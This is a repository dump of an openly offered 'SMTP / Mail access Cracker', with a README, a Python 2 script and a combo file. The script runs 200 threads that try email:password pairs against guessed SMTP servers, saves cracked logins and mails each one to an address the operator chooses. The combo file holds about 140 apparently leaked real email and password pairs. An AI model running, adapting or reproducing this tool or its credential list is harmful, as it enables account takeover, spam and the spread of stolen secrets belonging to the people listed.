├── README.md
├── combo.txt
└── smtp.py
/README.md:
--------------------------------------------------------------------------------
1 |
SMTP - Mail access Cracker
2 | 
3 | SMTP / Mail access Cracker ☣ Scanner & check & send to email
You can use this tool to crack smtp | mail access
4 |
Combo Accepted : Email:pass
5 |
6 |
7 | SMTP / Mail access Cracker
8 |
9 | SMTP / Mail access Cracker ☣ Scanner & check & send to email
10 |
11 |
12 |
13 |
14 |
15 | Video
16 | Click Here
17 |
18 | 📧 Contact
19 | You Want Ask About All My Tools Or Buy Tools Private Add Me On Facebook : fb.com/amir.othman.official
20 |
21 |
22 | ## Installation [Linux](https://wikipedia.org/wiki/Linux) [](https://fr.wikipedia.org/wiki/Linux)
23 |
24 | ```bash
25 | cd Desktop
26 | git clone https://github.com/aron-tn/SMTP.Cracker
27 | cd SMTP.Cracker
28 | python2 smtp.py
29 | ```
30 |
31 | ## Installation [Android](https://wikipedia.org/wiki/Android) [](https://fr.wikipedia.org/wiki/Android)
32 |
33 | Download [Termux](https://play.google.com/store/apps/details?id=com.termux)
34 |
35 | ```bash
36 | git clone https://github.com/aron-tn/SMTP.Cracker
37 | cd SMTP.Cracker
38 | python2 smtp.py
39 | ```
40 | ## Installation [Windows ](https://wikipedia.org/wiki/Microsoft_Windows)[](https://fr.wikipedia.org/wiki/Microsoft_Windows)
41 |
42 | Download [cmder](https://github.com/cmderdev/cmder/releases/download/v1.3.11/cmder.zip)
43 |
44 | ```bash
45 | cd Desktop
46 | git clone https://github.com/aron-tn/SMTP.Cracker
47 | cd SMTP.Cracker
48 | smtp.py
49 | ```
50 |
--------------------------------------------------------------------------------
/combo.txt:
--------------------------------------------------------------------------------
1 | nishika@priyarao.com:nishika1602
2 | info@neroacciaio.com:mazzoleni
3 | kbecker_10@netwtc.net:racefan1
4 | varasdi@varsat.net:19480926
5 | dazhongma888@sina.com:sunzhong888
6 | morgan96@bex.net:soccer15
7 | meng_huoyun@sina.com:2193440
8 | ylhysw@263.net:19.55.423777
9 | jeanne-luo@263.net:19740131l777
10 | rndeb@buckeye-express.com:basil1
11 | richardclemons@hawaiiantel.net:saturn2004
12 | cpjjefrs@bex.net:2henry
13 | beth.raphael@hawaiiantel.net:jennie44
14 | islandbabe@hawaiiantel.net:c311001
15 | tandc@buckeye-express.com:isabelgrace2
16 | melinbeck84@bex.net:willowtree3
17 | khout@buckeye-express.com:Kvochick1
18 | discomart1@hawaiiantel.net:disco3544
19 | foxyliah@buckeye-express.com:aces25
20 | bushman35@buckeye-express.com:Smoochie1
21 | rmoraes@rantac.com.br:crom00
22 | srwood@mgwnet.com:wood9717
23 | colleeniebean@buckeyeexpress.com:oscar2
24 | devjrb@bex.net:DJB32909
25 | neuby@bex.net:simpsons1
26 | revlynn@buckeye-express.com:dharma1
27 | laurie29@buckeye-express.com:lsb17810429
28 | tablab@buckeye-express.com:mrbkeb12
29 | roger.mawa@imrog.com:n4ndq7ap
30 | bamer@bex.net:steve11
31 | nutty.monkey71@hawaiiantel.net:thatzhott7
32 | shellscookingkorner@bex.net:cc798ul
33 | pjhobbit@buckeye-express.com:benmilo11
34 | romina@buckeyeexpress.com:piggy13
35 | mma@njctech.com:062784
36 | 07220208@zjnu.net:lenna7boshi7
37 | iardrey@buckeye-express.com:neph1974
38 | vorderburg@bex.net:Treyan01
39 | thaisecavalcante@gazetaweb.com:634037
40 | bobandmo.bobandmo@hawaiiantel.net:bobandmo4736
41 | sabirch@mbox.com.au:oscar23
42 | jonpike@grapevine.net.au:53c55b80
43 | hnomura@gol.com:mhc01415!666
44 | contact@brocrecordz.com:gerome
45 | kilambi@ksbpartners.com:blinddog
46 | jessica_offutt@comcast.net:lovecharlie1
47 | fabrice.ros@rosandros.com:FRO2751
48 | brett@hillfamily.com:Racing01
49 | club@sanfiorbianconero.com:gvialli05
50 | bmx@vetorial.net:clone
51 | salazar_edwalton@windstream.net:cf1004
52 | gcproducts@windstream.net:Flavour123
53 | baileyschlepp@netins.net:bailey2318
54 | sam@kurosnavi.com:Kuros5521
55 | iron@berny.com.br:ScrollLock1
56 | bobbybrentsmith@windstream.net:Kaleb1
57 | janetamos@accesstoledo.com:steven923
58 | waynekemp@mi-connection.com:wesavor4199
59 | clairewayman@davidbowie.com:leanne
60 | peta.bourne@homemail.com.au:holt112
61 | fujiwara@j-ris.com:Libero1218
62 | captain229@nifty.com:kdx220sr
63 | onkel_k@lycos.com:selaks
64 | li_edge@aliyun.com:bobsu78bobsu79
65 | yangjiji@sina.com.cn:961435
66 | thiago@supersul.com.br:608470
67 | srinivas@dcsts.com:srinidcs
68 | info@brojohill.com:lumignano61
69 | seedmachao@21cn.com:z7718207
70 | steffer@grapevine.com.au:006354
71 | brigitte.tramblay@btj-consultants.com:breizh
72 | bea@maisondebea.com:maya92
73 | mallens.425@btopenworld.com:marilee64
74 | ngxxx@katamail.com:Giunicla
75 | luca.mare@marecreations.com:nonlasai
76 | estraub@northlc.com:57chevy
77 | dcwoodyard@netamumail.com:sallem
78 | ks504@ruraltel.net:liberty1
79 | nutechdw@uniserve.com:sarnafil1
80 | x.o@vip.163.com:apollo130376
81 | chenxf@21cn.net:901200
82 | sandrahirowatari@uniserve.com:3737
83 | lengjitao@vip.126.com:1986777120
84 | foucher.arnaud@laposte.net:tino
85 | syarbro@semo.net:bauernut
86 | neil@act3c.com.tw:123650575
87 | sarahjaneday@virginmedia.com:bogies11
88 | kynoch@xplornet.com:amber1
89 | wf8958889@bdchina.com:windows
90 | kevinpr@jkpdesigns.com:fcYbd677
91 | monty@montychandler.com:rkclassic13
92 | zhanghy@tuspark.com:zhyzhy223
93 | luoyu@hzvtc.net:luoyu1121
94 | gabbry@gabbry.com:flrm1977
95 | nguyenvanbon@vietbon.com:1NGUYENvanbon2
96 | minesh@grghana.com:neel25
97 | n7hwa@stangsgarage.com:81ghtBall
98 | jan@monkeyshinestudio.com:Twin23
99 | b368@netvigator.com:fiona522
100 | nick.finnegan@thebestgamesiteever.com:Frostbyte34!
101 | plj@chanjet.com:pangtc
102 | nozomi@pochi-house.com:Tatsuki0838
103 | ugge@beaucoup-fish.com:bebabeba
104 | larsendebussche@drivehq.com:zzhcndpp4a
105 | rmurphy@buckeye-access.com:math35
106 | news@tracking-time.com:ed5849-vs
107 | mac@halysis.com.br:qwepoi2
108 | sissy64@ideaone.net:jadabug1
109 | tony@cisame.com:2580tony
110 | alex@zhonggang-glass.com:cyd_1001
111 | segnalazioni@amicicani.com:Cn6q7bne
112 | f.pirolo@agrigenus.com:infoagri01
113 | lws2285@vip.sina.com:102410lws
114 | tiagovieira@avf-lda.com:222216310
115 | lxy@suntekscience.com:HLR123
116 | contact@engrenagesetsortileges.com:Greg2102
117 | purasi@sunnet.com.ua:14111982
118 | johnrundle@digisurf.net.au:6381JCA
119 | bergamowest@hotelbes.com:629lollo
120 | alain.aubert@asyrtes.com:&aqwWQA1
121 | karjalainenar@luukku.com:ANNIKKI
122 | info@angelbeautyproducts.com:angelbeauty123
123 | carrie66@quixnet.net:Luv4Kats
124 | dominga@myhotel.com.es:Dominga.2017
125 | peter.eriksson@3obpo.com:55855585
126 | dls@globaldialog.com:taylorlee
127 | wlsmith@maxxsouth.net:silver60
128 | erika@bluet.com.br:maquita1
129 | nosami@nsm45.net:g4545
130 | setup@dogsbestfriendsb.com:Dbf2014!
131 | info@metamorphosidesign.com:suzukigt380
132 | dnnlpdwf@188.com:6355193223
133 | secretariat@patrimonio-avocats.com:palomine
134 | adriano@eco7.com.br:12ric788A
135 | conradnapa@heartofiowa.net:parts4me
136 | nfk@zjtcm.net:CBXNFK
137 | sabina@grisolini.com:mancini
138 | pge@pacificgeotechnical.com:geotek91
139 | bis@giacomouse.com:omar
140 | sommer@bilyfest.com:Audrey1
141 | sandroceia@riogrande-rs.com.br:sdc007
142 |
--------------------------------------------------------------------------------
/smtp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | #Coded By ARON-TN
4 | #Don't Change copyright Mother Fucker :)
5 | #Tunisia Coderz
6 | #Tool Finished In : 01:22 10/03/2019
7 | #Tool Fixed in : 15:33 10/06/2019
8 | import os,socket,threading,base64,datetime,sys,ssl,imaplib,time,re,uuid
9 | try:
10 | if os.name=='nt':
11 | os.system('cls')
12 | else:
13 | os.system('clear')
14 | except:
15 | print("\033[91mERROR :| \nConatct ARON-TN AS u LIKE !\033[00m")
16 | msg0 ="\033[91m########## verified Your modules ########"
17 | for i in msg0:
18 | sys.stdout.write(i)
19 | sys.stdout.flush()
20 | time.sleep(0.02)
21 | try:
22 | import Queue
23 | except:
24 | print"\033[91m[\033[92m?\033[91m] Installing Queue Module\033[00m"
25 | if os.name=='nt':
26 | try:
27 | os.system('C:\Python27\Scripts\pip2.exe install Queue')
28 | import Queue
29 | except:
30 | print "Install Python-Pip Sir"
31 | raw_input('')
32 | else:
33 | try:
34 | os.system('pip2 install Queue')
35 | import Queue
36 | except:
37 | print "\033[91mTry To Install pip2 For Your Devices And Try 'root@usr:~$ pip2 install Queue'\033[00m"
38 | try:
39 | import requests
40 | except:
41 | print"\033[91m[\033[92m?\033[91m] Installing requests Module\033[00m"
42 | if os.name=='nt':
43 | try:
44 | os.system('C:\Python27\Scripts\pip2.exe install requests')
45 | except:
46 | print "Install Python-Pip Sir"
47 | raw_input('')
48 | else:
49 | os.system('pip2 install requests')
50 | try:
51 | import requests
52 | except:
53 | print"\033[91m[\033[92m?\033[91m] Installing colorama Module\033[00m"
54 | if os.name=='nt':
55 | try:
56 | os.system('C:\Python27\Scripts\pip2.exe install colorama')
57 | except:
58 | print "Install Python-Pip Sir"
59 | raw_input('')
60 | else:
61 | os.system('pip2 install colorama')
62 | msg00 ="\n\033[92m##### GOOd Now You have all modules #####\n\033[0;96m############## Let's start ##############\033[92m\n"
63 | for i in msg00:
64 | sys.stdout.write(i)
65 | sys.stdout.flush()
66 | time.sleep(0.02)
67 | def aron():
68 | try:
69 | if os.name=='nt':
70 | os.system('cls && cd SMTP-Mail.acess-Cracker-Checker && smtp.py')
71 | else:
72 | os.system('clear && cd SMTP-Mail.acess-Cracker-Checker && python2 smtp.py')
73 | except:
74 | print("\033[91mERROR :| \nConatct ARON-TN AS u LIKE !\033[00m")
75 | to_check={}
76 | from colorama import *
77 | init()
78 | print '\033[1m'
79 | class IMAP4_SSL(imaplib.IMAP4_SSL):
80 | def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None,
81 | certfile=None, ssl_version=None, ca_certs=None,
82 | ssl_ciphers=None,timeout=40):
83 | self.ssl_version = ssl_version
84 | self.ca_certs = ca_certs
85 | self.ssl_ciphers = ssl_ciphers
86 | self.timeout=timeout
87 | imaplib.IMAP4_SSL.__init__(self, host, port, keyfile, certfile)
88 | def open(self, host='', port=imaplib.IMAP4_SSL_PORT):
89 | self.host = host
90 | self.port = port
91 | self.sock = socket.create_connection((host, port),self.timeout)
92 | extra_args = {}
93 | if self.ssl_version:
94 | extra_args['ssl_version'] = self.ssl_version
95 | if self.ca_certs:
96 | extra_args['cert_reqs'] = ssl.CERT_REQUIRED
97 | extra_args['ca_certs'] = self.ca_certs
98 | if self.ssl_ciphers:
99 | extra_args['ciphers'] = self.ssl_ciphers
100 | self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile,
101 | **extra_args)
102 | self.file = self.sslobj.makefile('rb')
103 | class checkerr(threading.Thread):
104 | def __init__(self,host,user,pwd,timeout,interval):
105 | t=threading.Thread.__init__(self)
106 | self.host=host
107 | self.user=user
108 | self.pwd=pwd
109 | self.interval=interval
110 | self.timeout=timeout
111 | self.connected=False
112 | self.i=None
113 | self.work=True
114 | self.attemp=4
115 | self.inbox=''
116 | self.spam=''
117 | def connect(self):
118 | try:
119 | i=IMAP4_SSL(host=self.host,port=993)
120 | i.login(self.user,self.pwd)
121 | self.i=i
122 | self.connected=True
123 | except Exception,e:
124 | i.close()
125 | self.connected=False
126 | def find(self):
127 | global to_check
128 | if self.inbox=='':
129 | rez,folders=self.i.list()
130 | for f in folders:
131 | if '"|" ' in f:
132 | a=f.split('"|" ')
133 | elif '"/" ' in f:
134 | a=f.split('"/" ')
135 | folder=a[1].replace('"','')
136 | if self.inbox=="":
137 | if 'inbox' in folder.lower():
138 | self.inbox=folder
139 | elif self.spam=="":
140 | if 'spam' in folder.lower():
141 | self.spam=folder
142 | if self.spam=='':
143 | for f in folders:
144 | if '"|" ' in f:
145 | a=f.split('"|" ')
146 | elif '"/" ' in f:
147 | a=f.split('"/" ')
148 | folder=a[1].replace('"','')
149 | if self.spam=="":
150 | if 'trash' in folder:
151 | self.spam=folder
152 | else:
153 | break
154 | self.i.select(self.inbox)
155 | found=[]
156 | for k,t in enumerate(to_check):
157 | rez=self.i.search(None,'SUBJECT',t[0])
158 | times=time.time()-t[1]
159 | if times-2>self.timeout:
160 | found.append(k)
161 | if len(rez)>0:
162 | found.append(k)
163 | self.i.select(self.spam)
164 | for k,t in enumerate(to_check):
165 | rez=self.i.search(None,'SUBJECT',t[0])
166 | times=time.time()-t[1]
167 | if times-2>self.timeout:
168 | found.append(k)
169 | if len(rez)>0:
170 | found.append(k)
171 | new=[]
172 | for k,v in enumerate(to_check):
173 | if k not in found:
174 | new.append(v)
175 | to_check=new
176 | print '\033[91m[\033[92m+\033[91m]\033[92mChecking for emails\033[97m '+to_check+'\n'
177 | def run(self):
178 | global to_checks
179 | while self.work:
180 | if not self.connected:
181 | if self.attemp<=0:
182 | return 0
183 | self.connect()
184 | self.attemp-=1
185 | if len(to_check)>0:
186 | self.find()
187 | time.sleep(self.interval)
188 | def tld2(dom):
189 | global tlds
190 | if "." not in dom:
191 | return ""
192 | dom=dom.lower()
193 | parts=dom.split(".")
194 | if len(parts)<2 or parts[0]=="" or parts[1]=="":
195 | return ""
196 | tmp=parts[-1]
197 | for i,j in enumerate(parts[::-1][1:5]):
198 | try:
199 | tmp=tlds[tmp]
200 | tmp=j+"."+tmp
201 | except:
202 | if i==0:
203 | return ""
204 | return tmp
205 | return tmp
206 | class consumer(threading.Thread):
207 | def __init__(self,qu):
208 | threading.Thread.__init__(self)
209 | self.q=qu
210 | self.hosts=["","smtp.","mail.","webmail.","secure.","plus.smtp.","smtp.mail.","smtp.att.","pop3.","securesmtp.","outgoing.","smtp-mail.","plus.smtp.mail.","Smtpauths.","Smtpauth."]
211 | self.ports=[587,465,25]
212 | self.timeout=13
213 | def sendCmd(self,sock,cmd):
214 | sock.send(cmd+"\r\n")
215 | return sock.recv(900000)
216 | def addBad(self,ip):
217 | global bads,rbads
218 | if rbads:
219 | bads.append(ip)
220 | return -1
221 | def findHost(self,host):
222 | print '\033[91m[\033[92m*\033[91m]\033[92mSearching smtp host and port on \033[97m'+host+'\n'
223 | global cache,bads,rbads
224 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
225 | s.setblocking(0)
226 | s.settimeout(self.timeout)
227 | try:
228 | d=cache[host]
229 | try:
230 | if self.ports[d[1]]==465:
231 | s=ssl.wrap_socket(s)
232 | s.connect((self.hosts[d[0]]+host,self.ports[d[1]]))
233 | return s
234 | except Exception,e:
235 | if rbads:
236 | bads.append(host)
237 | return None
238 | except KeyError:
239 | pass
240 | cache[host]=[-1,-1]
241 | for i,p in enumerate(self.ports):
242 | for j,h in enumerate(self.hosts):
243 | print '\033[91m[\033[92m*\033[91m]\033[92mTrying connection on\033[97m '+h+host+':'+str(p)+'\n'
244 | try:
245 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
246 | s.setblocking(0)
247 | s.settimeout(self.timeout)
248 | if p==465:
249 | s=ssl.wrap_socket(s)
250 | s.connect((h+host,p))
251 | cache[host]=[j,i]
252 | return s
253 | except Exception,e:
254 | continue
255 | bads.append(host)
256 | del cache[host]
257 | return None
258 | def getPass(self,passw,user,domain):
259 | passw=str(passw)
260 | if '%null%' in passw:
261 | return ""
262 | elif '%user%' in passw:
263 | user=user.replace('-','').replace('.','').replace('_','')
264 | return passw.replace('%user%',user)
265 | elif '%User%' in user:
266 | user=user.replace('-','').replace('.','').replace('_','')
267 | return passw.replace('%User%',user)
268 | elif '%special%' in user:
269 | user=user.replace('-','').replace('.','').replace('_','').replace('e','3').replace('i','1').replace('a','@')
270 | return passw.replace('%special%',user)
271 | elif '%domain%' in passw:
272 | return passw.replace('%domain%',domain.replace("-",""))
273 | if '%part' in passw:
274 | if '-' in user:
275 | parts=user.split('-')
276 | elif '.' in user:
277 | parts=user.split('.')
278 | elif '_' in user:
279 | parts=user.split('_')
280 | try:
281 | h=passw.replace('%part','').split('%')[0]
282 | i=int(h)
283 | p=passw.replace('%part'+str(i)+'%',parts[i-1])
284 | return p
285 | except Exception,e:
286 | return None
287 | return passw
288 | def connect(self,tupple,ssl=False):
289 | global bads,cracked,cache,email
290 | host=tupple[0].rstrip()
291 | host1=host
292 | user=tupple[1].rstrip()
293 | if host1 in cracked or host1 in bads:
294 | return 0
295 | passw=self.getPass(tupple[2].rstrip(),user.rstrip().split('@')[0],host.rstrip().split('.')[0])
296 | if passw==None:
297 | return 0
298 | try:
299 | if cache[host][0]==-1:
300 | return 0
301 | except KeyError:
302 | pass
303 | s=self.findHost(host)
304 | if s==None:
305 | return -1
306 | port=str(self.ports[cache[host][1]])
307 | if port=="465":
308 | port+="(SSL)"
309 | host=self.hosts[cache[host][0]]+host
310 | print '\033[91m[\033[92m*\033[91m]\033[92mTrying > \033[97m'+host+":"+port+":"+user+":"+passw+'\n'
311 | try:
312 | banner=s.recv(1024)
313 | if banner[0:3]!="220":
314 | self.sendCmd(s,'QUIT')
315 | s.close()
316 | return self.addBad(host1)
317 | rez=self.sendCmd(s,"EHLO ADMIN")
318 | rez=self.sendCmd(s,"AUTH LOGIN")
319 | if rez[0:3]!='334':
320 | self.sendCmd(s,'QUIT')
321 | s.close()
322 | return self.addBad(host1)
323 | rez=self.sendCmd(s,base64.b64encode(user))
324 | if rez[0:3]!='334':
325 | self.sendCmd(s,'QUIT')
326 | s.close()
327 | return self.addBad(host1)
328 | rez=self.sendCmd(s,base64.b64encode(passw))
329 | if rez[0:3]!="235" or 'fail' in rez:
330 | self.sendCmd(s,'QUIT')
331 | s.close()
332 | return 0
333 | print '\n\033[93m[\033[90m>\033[00m]\033[91m B000M Cracked >\033[97m '+host+':'+port+' '+user+' '+passw+'\n'
334 | save=open('cracked_smtps.txt','a').write(host+":"+port+","+user+","+passw+"\n")
335 | save=open('cracked_Mailaccess.txt','a').write(user+":"+passw+"\n")
336 | cracked.append(host1)
337 | rez=self.sendCmd(s,"RSET")
338 | if rez[0:3]!='250':
339 | self.sendCmd(s,'QUIT')
340 | s.close()
341 | return self.addBad(host1)
342 | rez=self.sendCmd(s,"MAIL FROM: <"+user+">")
343 | if rez[0:3]!='250':
344 | self.sendCmd(s,'QUIT')
345 | s.close()
346 | return self.addBad(host1)
347 | rez=self.sendCmd(s,"RCPT TO: <"+email+">")
348 | if rez[0:3]!='250':
349 | self.sendCmd(s,'QUIT')
350 | s.close()
351 | return self.addBad(host1)
352 | rez=self.sendCmd(s,'DATA')
353 | headers='From: <'+user+'> ARON-TN\r\n'
354 | headers+='To: '+email+'\r\n'
355 | headers+='Reply-To: '+email+'\r\n'
356 | headers+='Subject: SMTP Cracker User-ID Num: ['+randomString+']\r\n'
357 | headers+='MIME-Version: 1.0\r\n'
358 | headers+='Content-Transfer-encoding: 8bit\r\n'
359 | headers+="Content-type: text/html; charset=utf-8\r\n";
360 | headers+='Return-Path: %s\r\n'%user
361 | headers+='X-Priority: 1\r\n'
362 | headers+='X-MSmail-Priority: High\r\n'
363 | headers+='X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n'
364 | headers+='X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n'
365 | headers+='''
366 |
367 |
368 |
369 |
370 |
371 |
372 | [ > ]New Smtp Cracker V2.1 [ < ]
373 | [ ! ]Developped by ARON-TN [ ! ]
374 | /!\ WARNING /!\
<"/">i don't accept any responsibility for any illegal usage !<"/">
375 | Host : '''+host+'''
376 | Port : '''+port+'''
377 | Email : '''+user+'''
378 | Password : '''+passw+'''
379 |
380 |
381 | Email : aron.tn.official@gmail.com
382 | Youtube : Click HEre
383 | Facebook : Click HEre
384 | © ARON-TN 2017-2019
385 |
386 | \r\n.\r\n'''
387 | s.send(headers)
388 | rez=s.recv(1000)
389 |
390 | self.sendCmd(s,'QUIT')
391 | s.close()
392 | except Exception,e:
393 | s.close()
394 | return self.addBad(host1)
395 | def run(self):
396 | while True:
397 | cmb=self.q.get()
398 | self.connect(cmb)
399 | self.q.task_done()
400 | randomString = uuid.uuid4().hex
401 | randomString = randomString.upper()[0:7]
402 | quee=Queue.Queue(maxsize=20000)
403 | try:
404 | os.remove('about.txt')
405 | except:
406 | pass
407 | save=open('about.txt','a').write('Hello \n Welcome Again Smtp Cracker Available & Fixed :) \n [+] Developped By ARON-TN \n Thanks To : #Mr.Zack ** #Alpicino \n [*] Facebook > fb.com/amir.othman.official \n [*] Youtube > youtube.com/AronTNxOfficial')
408 | tld=open('about.txt','r').read().splitlines()
409 | tlds=cache={}
410 | bads=[]
411 | cracked=[]
412 | rbads=0
413 | vers=requests.get('https://pastebin.com/raw/WuWLQk73').text.encode('utf-8')
414 | print('''
415 | \033[0;96m_ _ \033[93m______ __ __ ________ _______ \033[0;96m_ _
416 | (c).-.(c) \033[93m/ \ / \ / |/ |/ \ \033[0;96m(c).-.(c)
417 | / ._. \ \033[93m/$$$$$$ |$$ \ /$$ |$$$$$$$$/ $$$$$$$ | \033[0;96m/ ._. \
418 | __\( Y )/__ \033[93m$$ \__$$/ $$$ \ /$$$ | $$ | $$ |__$$ | \033[0;96m__\( Y )/__
419 | (_.-/'-'\-._) \033[93m$$ \ $$$$ /$$$$ | $$ | $$ $$/ \033[0;96m(_.-/'-'\-._)
420 | || A || \033[93m$$$$$$ |$$ $$ $$/$$ | $$ | $$$$$$$/ \033[0;96m|| R ||
421 | _.' `-' '._ \033[93m/ \__$$ |$$ |$$$/ $$ | $$ | $$ | \033[0;96m_.' `-' '._
422 | (.-./`-'\.-.) \033[93m$$ $$/ $$ | $/ $$ | $$ | $$ | \033[0;96m(.-./`-'\.-.)
423 | `-' `-' \033[93m$$$$$$/ $$/ $$/ $$/ $$/ \033[0;96m`-' `-'
424 | \033[91m[\033[92m+\033[91m]\033[1m(C)opyright > Github.com/ARON-TN\033[91m [\033[92m+\033[91m]
425 | \033[91m[\033[92m+\033[91m]\033[95m SMTP CRACKER V2.1 DEVEL BY ARON-TN \033[91m[\033[92m+\033[91m]
426 | \033[91m[\033[92m+\033[91m]\033[92m Mail : aron.tn.official@gmail.com \033[91m[\033[92m+\033[91m]
427 | \033[91m[\033[92m+\033[91m]\033[94m Facebook > Fb.com/amir.othman.official \033[91m[\033[92m+\033[91m]
428 | \033[91m[\033[92m+\033[91m] Youtube > youtube.com/AronTNxOfficial \033[91m[\033[92m+\033[91m]''')
429 | ms0g ="\n\033[93mChecking\033[0;96m Your\033[91m Version (%s)\033[92m "%vers
430 | for i in ms0g:
431 | sys.stdout.write(i)
432 | sys.stdout.flush()
433 | time.sleep(0.02)
434 | if vers=='2.1':
435 | print('{>} Good You have last version \n')
436 | else:
437 | print("\033[91mThere is New Version available !! Do you Want To Update Your tool ? \033[00m")
438 | ok=raw_input('''
439 | \033[91m[\033[94m1\033[91m]\033[00m YEs
440 | \033[91m[\033[94m2\033[91m]\033[00m No
441 | \033[91m[\033[94m>\033[91m]\033[00m : ''')
442 | if ok=='1':
443 | aroon ="\n Update Strated !\n"
444 | for i in aroon:
445 | sys.stdout.write(i)
446 | sys.stdout.flush()
447 | time.sleep(0.02)
448 | os.remove(sys.argv[0])
449 | os.system('git clone https://github.com/aron-tn/SMTP.Cracker && cd SMTP.Cracker')
450 | if os.name=='nt':
451 | os.system('cls')
452 | else:
453 | os.system('clear')
454 | os.system('smtp.py')
455 | elif ok=='2':
456 | pass
457 | try:
458 | inputs=open(raw_input('\033[91m[\033[92m+\033[91m]\033[92m Combo Name : \033[97m'),'r').read().splitlines()
459 | except:
460 | sys.exit("\n\033[91m{!} Your File not Founded\033[00m")
461 | email=raw_input('\033[91m[\033[92m+\033[91m]\033[92m Enter Your Email :\033[97m ')
462 | thret=200
463 | def part():
464 | global tld,tlds
465 | for i in tld:
466 | tlds[i]=i
467 | part()
468 | msg ="\n\033[91mConnecting ..........."
469 | for i in msg:
470 | sys.stdout.write(i)
471 | sys.stdout.flush()
472 | time.sleep(0.2)
473 | for i in range(int(thret)):
474 | try:
475 | t=consumer(quee)
476 | t.setDaemon(True)
477 | t.start()
478 | except:
479 | print "\033[91m{!} Working only with %s threads\033[00m"%i
480 | break
481 | try:
482 | for i in inputs:
483 | user = i.split(':')[0]
484 | password = i.split(':')[1]
485 | user = user.lower()
486 | quee.put((user.split('@')[1], user, password))
487 | except:
488 | pass
489 | quee.join()
490 |
--------------------------------------------------------------------------------